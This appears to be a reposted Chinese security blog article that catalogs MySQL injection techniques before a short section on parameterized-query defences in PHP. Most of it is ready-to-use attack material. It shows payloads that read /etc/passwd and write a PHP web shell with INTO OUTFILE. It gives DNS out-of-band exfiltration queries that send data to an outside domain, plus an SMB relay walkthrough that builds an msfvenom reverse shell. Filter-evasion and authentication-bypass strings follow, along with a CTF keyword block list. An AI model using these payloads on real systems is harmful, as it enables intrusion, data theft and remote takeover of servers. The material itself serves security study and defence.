MySQL 注入攻擊與防禦

2021-02-21 計算機與網絡安全

信息安全公益宣傳,信息安全知識啟蒙。

加微信群回復公眾號:微信群;QQ群:16004488

加微信群或QQ群可免費索取:學習教程

注入常用函數與字符

下面幾點是注入中經常會用到的語句

控制語句操作(select, case, if(), ...)

比較操作(=, like, mod(), ...)

字符串的猜解操作(mid(), left(), rpad(), …)

字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實現所有字符的表示))

測試注入

可以用以下語句對一個可能的注入點進行測試

注釋符

以下是Mysql中可以用到的注釋符:

Examples:

1

2

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

版本&主機名&用戶&庫名

表和欄位

確定欄位數

ORDER BY

ORDER BY用於判斷表中的欄位個數

SELECT ... INTO

關於SELECT ... INTO 的解釋可以看這一篇文章SELECT ... INTO解釋

當出現LIMIT時可以用以下語句:

1

SELECT username FROM Users limit 1,{INJECTION POINT};

判斷已知表名的欄位數

1

2

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

SELECT passwd FROM Users WHERE id = {INJECTION POINT};

查表名

以下提過幾種方式對庫中表進行查詢

查列名

以下提過幾種方式對表中列進行查詢

字符串連接

下面的幾條語句都可以用以連接字符

條件語句&時間函數

其中BENCHMARK函數是指執行某函數的次數,次數多時能夠達到與sleep函數相同的效果

文件操作

文件操作權限

在MySQL中,存在一個稱為secure_file_priv的全局系統變量。 該變量用於限制數據的導入和導出操作,例如SELECT … INTO OUTFILE語句和LOAD_FILE()

如果secure_file_priv變量為空那麼直接可以使用函數,如果為null是不能使用

但在mysql的5.5.53之前的版本是默認為空,之後的版本為null,所有是將這個功能禁掉了

也可使用如下語句查詢

讀文件

讀文件函數LOAD_FILE()

Examples:

1

2

SELECT LOAD_FILE('/etc/passwd');

SELECT LOAD_FILE(0x2F6574632F706173737764);

注意點: 

1. LOAD_FILE的默認目錄@@datadir 

2. 文件必須是當前用戶可讀 

3. 讀文件最大的為1047552個byte, @@max_allowed_packet可以查看文件讀取最大值

寫文件

INTO OUTFILE/DUMPFILE

經典寫文件例子:

To write a PHP shell:

1

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

這兩個函數都可以寫文件,但是有很大的差別 

INTO OUTFILE函數寫文件時會在每一行的結束自動加上換行符 

INTO DUMPFILE函數在寫文件會保持文件得到原生內容,這種方式對於二進位文件是最好的選擇 

當我們在UDF提權的場景是需要上傳二進位文件等等用OUTFILE函數是不能成功的 

網上有很多文章介紹,比如這篇

注意點: 

1. INTO OUTFILE不會覆蓋文件 

2. INTO OUTFILE必須是查詢語句的最後一句 

3. 路徑名是不能編碼的,必須使用單引號

帶外通道

關於帶外通道的注入前段時間國外的大佬已經總結過了,我基本復現了一下,博客有文章,這裡簡單提一下

什麼是帶外通道注入?

帶外通道攻擊主要是利用其他協議或者渠道從伺服器提取數據. 它可能是HTTP(S)請求,DNS解析服務,SMB服務,Mail服務等.

條件限制

首先不用多說,這些函數是需要絕對路徑的

如果secure_file_priv變量為空那麼直接可以使用函數,如果為null是不能使用

但在mysql的5.5.53之前的版本是默認為空,之後的版本為null,所有是將這個功能禁掉了

DNS注入

1

2

select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt'));

select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

上面的語句執行的結果我們可以通過wireshark抓包看一下,過濾一下DNS協議即可清晰看到數據出去的樣子,如下圖

進行DNS注入需要域名解析,自己有的話最好,但是沒有的朋友也沒事,這裡推薦一個網站CEYE可以查看數據

SMB Relay 注入攻擊

What is SMB relay

這裡簡單的描述一下SMB relay這個過程

假設有主機B與A 

(1) A向B發起連接請求 

(2) B向A發送挑戰(一組隨機數據,8位元組) 

(3) A用源自明文口令的DESKEY對挑戰進行標準DES加密得到響應,並發往B 

(4) B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,並對前面發往A的挑戰進 

行標準DES加密 

(5) 如果(4)中計算結果與A送過來的響應匹配,A被允許訪問B 

現在假設一個攻擊者C捲入其中 

(1) C向B發起連接請求 

(2) B向C發送挑戰D(一組隨機數據) 

(3) C等待A向B發起連接請求 

(4) 當A向B發起連接請求時,C偽造成B向A發送挑戰D 

(5) A用源自明文口令的DESKEY對挑戰D進行標準DES加密得到響應E,並發往B 

(6) C截獲到響應E,將它做為針對(2)中挑戰D的響應發往B,並聲稱自己是A 

(7) B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,並對挑戰D進行標準DES 

加密 

(8) 如果(7)中計算結果與C送過來的響應匹配,C被允許以A的身份訪問B。

攻擊流程

關於SMB relay攻擊竊取NTML與shell請看這篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python

整理了一下實際操作的步驟如下: 

1. 首先生成一個反向shell: 

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=攻擊機監聽埠 -f exe > reverse_shell.exe

2. 運行smbrelayx,指定被攻擊者和生成的反向shell,等待連接。 

smbrelayx.py -h 被攻擊者ip -e 反向shell文件位置 

3. 使用模塊multi/handler。偵聽攻擊機ip,攻擊機監聽埠 

4. 在MySQL Server上運行如下的代碼,則會產生shell。相當於訪問攻擊機的smb服務,但實際上是竊取了mysql_server的身份 

1

select load_file('\\攻擊機ip\aa');

繞過技巧

繞過單引號

大小寫繞過

1

?id=1+UnIoN+SeLecT+1,2,3--

替換繞過

1

?id=1+UNunionION+SEselectLECT+1,2,3--

注釋繞過

1

?id=1+un/**/ion+se/**/lect+1,2,3--

特殊嵌入繞過

1

?id=1/*!UnIoN*/SeLecT+1,2,3--

寬字節注入

SQL注入中的寬字節國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字符進行轉移的繞過。反斜槓()的十六進位為%5c,在你輸入%bf%27時,函數遇到單引號自動轉移加入\,此時變為%bf%5c%27,%bf%5c在gbk中變為一個寬字符「縗」。%bf那個位置可以是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在很多地方都可以應用。

MySQL版本號字符

Examples:

1

<span style="font-family: 微軟雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>

這樣的查詢語句是可以執行的,我理解為類似Python中第一行注釋指定解析器一樣#!/bin/sh

對於小於或等於版本號的語句就會執行

例如目前的Mysql版本為5.7.17那麼/!50717/及其以下的語句即可執行

字符編碼繞過

前段時間看到ph師傅的博客是討論mysql字符編碼的文章,大概意思如下,原文在這裡 

當出現有以下代碼時,指設置了字符編碼為utf-8,但並不是全部為utf-8,而在具體的轉換過程中會出現意外的情況,具體可以看ph師傅的文章

1

$mysqli->query("set names utf8");

在sql查詢中

test.php?username=admin%e4中的%e4會被admin忽略掉而繞過了一些邏輯,還有一些類似於$e4這樣的字符如%c2等

繞空格

特殊字符繞過空格

Example:

1

'%0AUNION%0CSELECT%A0NULL%20%23

括號繞過空格

Example:

1

UNION(SELECT(column)FROM(table))

and/or後插入字符繞過空格

任意混合+ - ~ !可以達到繞過空格的效果(可以現在本地測試,混合後需要的奇偶數可能不同)

1

2

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶數個--

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!1=1;需要奇數個!

其實一下的字符都可以測試

注釋符&引號

1

2

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";

編碼繞過

關鍵字繞過

測試用例information_schema.tables

認證繞過

繞過語句:'='

1

2

3

select data from users where name="="

select data from users where flase="

select data from users where 0=0

繞過語句:'-'

1

2

3

select data from users where name=''-''

select data from users where name=0-0

select data from users where 0=0

比如登錄的時候需要輸入email和passwd,可以這樣輸入

類型轉換

1

2

3

4

5

6

7

8

9

' or 1=true

' or 1

select * from users where 'a'='b'='c'

select * from users where ('a'='b')='c'

select * from users where (false)='c'

select * from users where (0)='c'

select * from users where (0)=0

select * from users where true

select * from users

我們還有關於此的漏洞,就以一次CTF的題目來說(源碼如下):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

<?php

class fiter{

    var $str;

    var $order;

    function sql_clean($str){

        if(is_array($str)){

            echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;

        }

        $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i";

        if(preg_match($filter,$str)){

            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;

        }else if(strrpos($str,urldecode("%00"))){

            echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;

        }

        return $this->str=$str;

    }

    function ord_clean($ord){

        $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";

        if (preg_match("/".$filter."/i",$ord) == 1){

            return $this->order = "";

        }

        return $this->order = $ord;

    }

}

這裡過濾了很多關鍵詞了,需要用到類型轉換了,這裡我們用+號

Payload如下:

1

uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1

執行的SQL語句如下:

1

xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1'

這樣就可以開始寫腳本跑數據了

除了+號,其他算術操作符號也會發生類型的類型轉換,例如MOD,DIV,*,/,%,-, 

關於隱式類型轉換的文章可以看這裡

HTTP參數汙染

當我們傳入的參數為

http://sqlinjection.com/?par1=val1&par1=val2

進入到不同的Web Server就可能得到不同的結果,這裡借鑑一下國外大佬一篇文章的總結,如下:

不同的web server的處理結果截然不同

實戰正則過濾繞過

防禦手段(代碼以PHP為例)

像WAF之類防禦手段自己無能為力經常打補丁就好,這裡主要提一下代碼層面的問題 

推薦使用下面的方式進行查詢:

MYSQLi

1

2

3

$stmt = $db->prepare('update name set name = ? where id = ?');

$stmt->bind_param('si',$name,$id);

$stmt->execute();

ODBC

1

2

$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );

$success = odbc_execute( $stmt, array($email) );

或者

1

2

3

$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));

$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');

$sth->execute(array(':email' => $email));

PDO

1

2

3

4

5

6

7

8

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);

$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');

$stmt->bindParam(':name', $name);

$stmt->bindParam(':value', $value);

// insert one row

$name = 'one';

$value = 1;

$stmt->execute();

或者

1

2

3

$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);

$stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id');

$stmt->execute( array('new_name' => $name, 'id' => $id) );

框架

對於框架的話只要遵循框架的API就好,例如wp的查詢

1

2

3

4

5

6

global $wpdb;

$wpdb->query(

    $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',

        $person_id, $person_email

    )

);

或者

1

2

3

4

5

6

7

8

global $wpdb;

$wpdb->insert( 'people',

        array(

            'person_id' => '123',

            'person_email' => 'bobby@tables.com'

        ),

    array( '%d', '%s' )

);

▼ 點擊閱讀原文,查看更多精彩文章。

相關焦點

  • 技術分享 | MySQL 注入攻擊與防禦
    ,文章如果有錯也歡迎各位dalao指出:)注入常用函數與字符下面幾點是注入中經常會用到的語句控制語句操作(select, case, if(), ...)路徑名是不能編碼的,必須使用單引號帶外通道關於帶外通道的注入前段時間國外的大佬已經總結過了,我基本復現了一下,博客有文章,這裡簡單提一下什麼是帶外通道注入?帶外通道攻擊主要是利用其他協議或者渠道從伺服器提取數據. 它可能是HTTP(S)請求,DNS解析服務,SMB服務,Mail服務等.
  • Mysql注入導圖-學習篇
    SQLi的產生是因為程序沒有對輸入進行充分的過濾,導致攻擊者可以通過操縱輸入,達到利用代碼進行攻擊。mysql版本號/ 這種形式。當注入語句為SELECT * FROM Users limit 1,{INJECTION POINT};這種形式時,可以在注入點插入比如/!50717/,如果版本號小於5.7.17則返回真,從而可以判斷版本號。
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • 網站滲透測試注入攻擊分析
    國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個埠的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對於SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!
  • 淺談開啟magic_quote_gpc後的sql注入攻擊與防範
    在PHP4.0及以上的版本中,該選項默認情況下是開啟的,所以在PHP4.0及以上的版本中,就算PHP程序中的參數沒有進行過濾,PHP系統也會對每一個通過GET、POST、COOKIE方式傳遞的變量自動轉換,換句話說,輸入的注入攻擊代碼將會全部被轉換,將給攻擊者帶來非常大的困難。雖然如此,攻擊者仍然有機會進行SQL注入攻擊。。。。。。
  • MySQL注入繞過新思路
    帶內/帶外傳統的Insert、Update是帶內注入方式
  • Mysql 手工注入【常規union查詢篇】
    在開始真正的注入技巧之前,我們先來大致回顧下必要的mysql資料庫基礎
  • 淺談APT攻擊的檢測與防禦
    ,有效的防禦呢?◆隱蔽性:APT攻擊具有極強的隱蔽性,攻擊者往往會利用豐富的經驗、先進的技術、超凡的耐性來掩蓋自己的行蹤,躲避常規安全產品的檢測,並且整個攻擊過程時間跨度較大,給APT攻擊的防禦帶來極大的挑戰。
  • SQL注入的幾種類型和原理
    無法進行報錯注入和布爾注入之後,人們想到了新的攻擊點,「頁面返回的時間」,筆者覺得能想到這一點人真是天才,誰提出的已無法追溯,可能在過去一段時間內,對於一些無論正確還是錯誤的頁面返回都相同,攻擊者在很長的一段時間陷入困境,某位用咖啡續命的攻擊者靈光一閃,隨後向他的朋友進行了討論和驗證,新的攻擊方式被提出。
  • 95萬次攻擊無一得手 人機對抗「擬態防禦」大獲全勝
    之江實驗室參照1000MW超臨界燃煤火力發電廠搭建了一套微縮裝置,採用基於網絡空間內生安全理論的擬態防禦技術重構了關鍵控制系統,有效增強了系統的功能安全和網絡安全防護能力,這個微縮裝置中相關設備和系統就是各路戰隊的攻擊靶標。
  • 什麼是CC攻擊?如何有效防禦?
    CC攻擊其實屬於DDoS攻擊的一種,其原理就是攻擊者控制某些主機不停地發大量數據包給對方伺服器造成伺服器資源耗盡,一直到宕機崩潰。這種攻擊普遍都是流量不是很高,但是破壞性非常大,直接導致系統服務掛了無法正常服務。CC攻擊因其見效快、成本低、難追蹤,是黑客最常用的攻擊類型之一。
  • SQL注入攻擊詳解
    參考:https://blog.csdn.net/yue510/article/details/924317481、什麼是Sql注入攻擊SQL注入攻擊通過構建特殊的輸入作為參數傳入
  • 對抗樣本攻擊與防禦,MindSpore是怎麼做的?
    Q2:增加防禦算法後精度會降低?不一定。防禦算法用了對抗訓練的方式,生成對抗樣本加入原始數據集中,一起訓練模型,得到的模型參數和單純用原始數據集的模型參數是有一點差異,這個差異,可能使得在測試集上的精度發生變化,可能減少,也可能增加。Q3:增加防禦算法對訓練時間的影響?
  • 攻擊行為與觸覺防禦現象
    造成孩童有攻擊行為的原因有許多,諸如人格特性、行為問題、環境因素等等,但對於六歲以前甚至部分小學的孩童來說,觸覺功能失調所產生的觸覺防禦現象才是最主要的導因,而也唯有改善基礎的觸覺系統功能(fight or flight),就如同在森林中的野生動物一般,碰到威脅時不是挺身攻擊、就是拔腿逃避。
  • mysql經典面試題(2019年整理)
    mysql經典面試題(2019年整理)MySQL資料庫開發規範MYSQL如何優化?mysql經典面試題(2019年整理)mysql的sql語句優化方法面試題總結Mysql的引擎有哪些?支持事物麼?DB儲存引擎有哪些?
  • DDOS攻擊怎麼防禦?
    高防伺服器主要是指IDC領域的IDC機房或者線路有防禦DDOS能力的伺服器。主要是比普通服 務器多了防禦服務,一般都是在機房出口架設了專門的硬體防火牆設備以及流量清洗牽引設備等, 用來防禦常見的CC攻擊,DDOS,SYN攻擊。就目前的標準衡量,網盾高防伺服器是指能獨立防禦100G以上的伺服器。
  • 常見網絡攻擊之CC攻擊&防禦手段!莫錯過!
    如果是動態網站被小量CC攻擊,還會發現伺服器的CPU佔用率出現飆升的現象。這是最基本的CC攻擊症狀。 CC攻擊防禦策略 確定Web伺服器正在或者曾經遭受CC攻擊,那如何進行有效的防範呢?
  • 深度探討:陰陽師防禦與攻擊計算公式
    【陰陽師評測】陰陽師防禦與攻擊計算公式目前還沒有統一的計算公式,本篇就攻擊與防禦的測試數值來探討一番,相信接下來新資料片的更新,有了好友對戰之後會更加完善。(玩家:BronzeKey分享)相關推薦:青行燈當狗糧大隊長的的可行性實戰測試    我的數據是在我不斷加結界突破裡的好友通過私聊對方同意才得來的,防禦數值是對方給我的,輸出值是我慢慢統計的。那個時候我才52級,但是源博雅的普攻正好一級對應的就是100%攻擊傷害,比較方便計算。
  • 水坑攻擊,監視公司的一舉一動?這裡教你如何防禦!
    轉自Mcafee Labs,作者German Lancioni水坑攻擊巧妙而危險的動態一組研究人員最近公布了利用多個iPhone漏洞利用網站感染最終目標的研究結果。這類攻擊背後的關鍵概念是使用可信的網站作為攻擊他人的中間平臺,它被定義為水坑攻擊。
  • 如何使用DHCP snooping防禦網絡攻擊?
    事實上,這種沒有得到重視的情況就意味著供應商也可能會忽略這種攻擊。DHCP snooping就是一種可用於防禦許多常見攻擊的防控技術。  DHCP可能受到幾種不同方式的攻擊,其中包括惡意DHCP伺服器或本地交換網絡的地址解析協議(ARP)汙染。並非所有意外事件都屬於惡意攻擊。